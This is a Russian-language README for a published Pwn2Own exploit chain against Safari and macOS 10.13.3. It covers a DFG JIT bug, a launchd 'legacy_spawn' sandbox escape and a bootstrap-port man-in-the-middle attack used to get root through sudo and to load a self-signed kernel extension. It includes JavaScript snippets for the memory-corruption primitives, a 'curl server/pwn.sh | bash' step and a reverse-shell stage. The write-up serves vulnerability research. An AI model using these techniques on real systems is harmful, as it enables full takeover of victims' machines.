
A Pwn2Own exploit chain
RCE в Safari, выход из песочницы и LPE до ядра для macOS 10.13.3.
Установите nasm и tornado:
brew install nasm
pip3 install tornado
Проверьте config.py, если хотите изменить хост или порты. Затем запустите сервер с помощью ./server.py и перейдите по показанному URL.
Эта цепочка эксплойтов использует три разные ошибки, чтобы перейти от выполнения JavaScript-кода внутри Safari к выполнению кода в режиме ядра:
Цепочка эксплойтов реализована в виде шести стадий, каждая из которых находится в своём подкаталоге:
Каждый подкаталог (за исключением libspc/) содержит файл make.py, который при выполнении запускает все необходимые команды сборки и создаёт список файлов, которые будут раздаваться веб-сервером.
Цель: добиться выполнения шелл-кода внутри изолированного процесса WebContent
Используемая ошибка: некорректная оптимизация в JIT-компиляторе DFG
См. также этот доклад на BlackHat
JIT-компилятор DFG представляет JavaScript-код в своём собственном промежуточном представлении (IR) — графе потока данных (Data Flow Graph, DFG). Обычно одно JavaScript-выражение транслируется в одну или несколько IR-инструкций в этом графе. В случае функции-конструктора генерируется инструкция CreateThis, которая отвечает за выделение объекта this, создаваемого функцией. Например, функция function Consructor() {} при вызове с new была бы примерно транслирована в
v0 = CreateThis
return v0
Посмотрев на AbstractInterpreter, можно увидеть, что JIT-компилятор DFG предполагает, что операция CreateThis не вызовет никаких побочных эффектов, кроме выделения памяти в куче. В самом деле, этот код:
function Constructor(obj) {
return obj.x;
}
будет примерно транслирован в следующие DFG-инструкции:
(Здесь инструкция StructureCheck была перемещена в начало функции фазой TypeCheckHoistingPhase).
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
Однако это предположение неверно, поскольку код на медленном пути (slow-path) для CreateThis в некоторых случаях может выполнять произвольный JavaScript-код. В частности, при использовании Proxy вокруг реальной функции ловушка get для свойства «prototype» будет вызвана во время обработчика медленного пути для CreateThis, поскольку ему нужно получить объект-прототип для создаваемого объекта:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
Таким образом, теперь можно изменить Structure объекта без выполнения JIT-компилятором bailout.
Эту ошибку можно использовать для создания примитивов addrof и fakeobj следующим образом:
Мы компилируем код для случая JSArray с распакованными (unboxed) double-элементами, а затем в колбэке переключаемся на элементы JSValue. После этого JIT-код загрузит JSValue из массива, но интерпретирует эти биты как double и вернёт их нам. Следующий код присвоит адрес leakme свойству «address» создаваемого объекта.
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
Здесь мы действуем, по сути, наоборот: мы оптимизируем код для записи double в массив с распакованными (unboxed) double-элементами, а затем снова переключаемся на элементы JSValue в колбэке. Код продолжит записывать контролируемый нами double в распакованном виде в backing storage. Когда мы позже обратимся к этому элементу массива, он интерпретирует эти биты как JSValue, а не как double. Следующий код запишет распакованный double address в backing buffer массива a, откуда мы затем сможем прочитать его как JSValue, что позволяет нам «внедрять» JSValue по нашему выбору в движок.
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
В итоге мы получаем возможность записать double и интерпретировать его как указатель на JSObject, и наоборот. Это можно эксплуатировать, как описано в атаке на JavaScript-движки.
Эксплойт сначала добивается произвольного чтения/записи памяти процесса, подделывая Float64Array, затем ищет JIT-область (отображённую с правами RWX) и записывает туда шелл-код стадии 1.
Цель: запустить стадию 2, записав .dylib на диск и загрузив его через dlopen()
Короткая полезная нагрузка на ассемблере, которая, по сути, делает следующее:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR), чтобы получить путь к доступному для записи каталогуdlopen()Цель: выйти из песочницы
Используемая ошибка: отсутствие проверок песочницы в API «legacy_spawn» в launchd
См. также этот доклад
Launchd предоставляет RPC-эндпоинт «legacy_spawn» как процедуру 817 в подсистеме 3. Этот API не проверяет, разрешено ли вызывающему процессу запускать процессы, и просто выполняет execve любого бинарника в системе от имени вызывающего с контролируемыми аргументами. Поскольку до launchd можно добраться через бутстрап-порт, это делает возможным выход из песочницы.
Эксплойт, по сути, выполняет curl server/pwn.sh | bash и таким образом передаёт управление стадии 3.
Цель: запустить калькулятор (pop calc) и подготовить запуск остальных стадий
Эта стадия выполняет open /Applications/Calculator.app и устанавливает reverse shell, затем загружает все файлы, необходимые для остальных стадий, и запускает эксплойты.
Цель: получить права root с помощью LPE-эксплойта
Используемая ошибка: MitM через бутстрап-порт в XNU
См. также этот доклад на POC
В XNU API task_set_special_port позволяет вызывающему процессу перезаписать свой бутстрап-порт, который используется для связи с launchd. Этот порт наследуется при fork: дочерние процессы используют тот же бутстрап-порт, что и родительский. Проблема безопасности возникает, если дочерний процесс имеет больше привилегий, чем родительский, как, например, в случае с sudo (setuid-бинарник) или kextutil (обладает энтайтлментом «com.apple.rootless.kext-management»"). Перезаписав бутстрап-порт и выполнив fork дочернего процесса, мы можем занять позицию MitM между нашим дочерним процессом и launchd (к которому дочерний процесс ожидает обратиться при отправке сообщений на бутстрап-порт). Дочерний процесс будет запрашивать у launchd разрешение различных mach- и XPC-сервисов. Разрешая эти сервисы на другие порты, контролируемые нами, мы также можем занять позицию MitM для произвольных системных сервисов, используемых нашим дочерним процессом. Дальнейшая эксплуатация зависит от того, как атакуемая программа использует эти сервисы.
Чтобы получить права root, мы атакуем бинарник sudo и перехватываем его взаимодействие с opendirectoryd, который используется sudo для проверки учётных данных. Мы изменяем ответы от opendirectoryd так, чтобы наш пароль выглядел верным.
Похоже, была попытка исправить эту проблему, поскольку libxpc (который осуществляет взаимодействие с launchd) проверяет, что ответы действительно приходят от процесса с uid=0 и pid=1 (== launchd). Однако этих проверок недостаточно. Мы можем обойти их следующим образом, чтобы разрешить opendirectoryd на наш собственный порт:
net.saelo.hax) в launchd с помощью API bootstrap_register2com.apple.system.opendirectoryd.api на net.saelo.haxТеперь для повышения привилегий до root остаётся лишь пересылать сообщения между opendirectoryd и sudo, заменяя ответ об ошибке аутентификации на ответ об успехе.
Цель: загрузить (самоподписанное) расширение ядра
Используемая ошибка: MitM через бутстрап-порт в XNU
Здесь эксплуатируется та же уязвимость, что и на стадии 4, но на этот раз целью является kextutil. Мы перехватываем соединение с com.apple.trustd и подделываем цепочку сертификатов, заставляя kextutil поверить, что наш самоподписанный kext на самом деле подписан напрямую Apple.
kextutil действует примерно следующим образом, когда его просят загрузить .kext с диска:
trustd, чтобы получить цепочку сертификатов и определить, является ли корневой сертификат довереннымsyspolicyd. Однако, если до syspolicyd не удаётся достучаться, kextutil просто продолжает работуЭто позволяет провести следующую атаку для загрузки самоподписанных расширений ядра:
com.apple.trustd на наш собственный сервисtrustd и отвечать жёстко заданной цепочкой сертификатов официального .kext от Applesyspolicyd (например, заменив com.apple.security.syspolicy.kext на net.saelo.lolno в запросах поиска сервисов к launchd)kextutil теперь загрузит наше расширение ядра в ядро.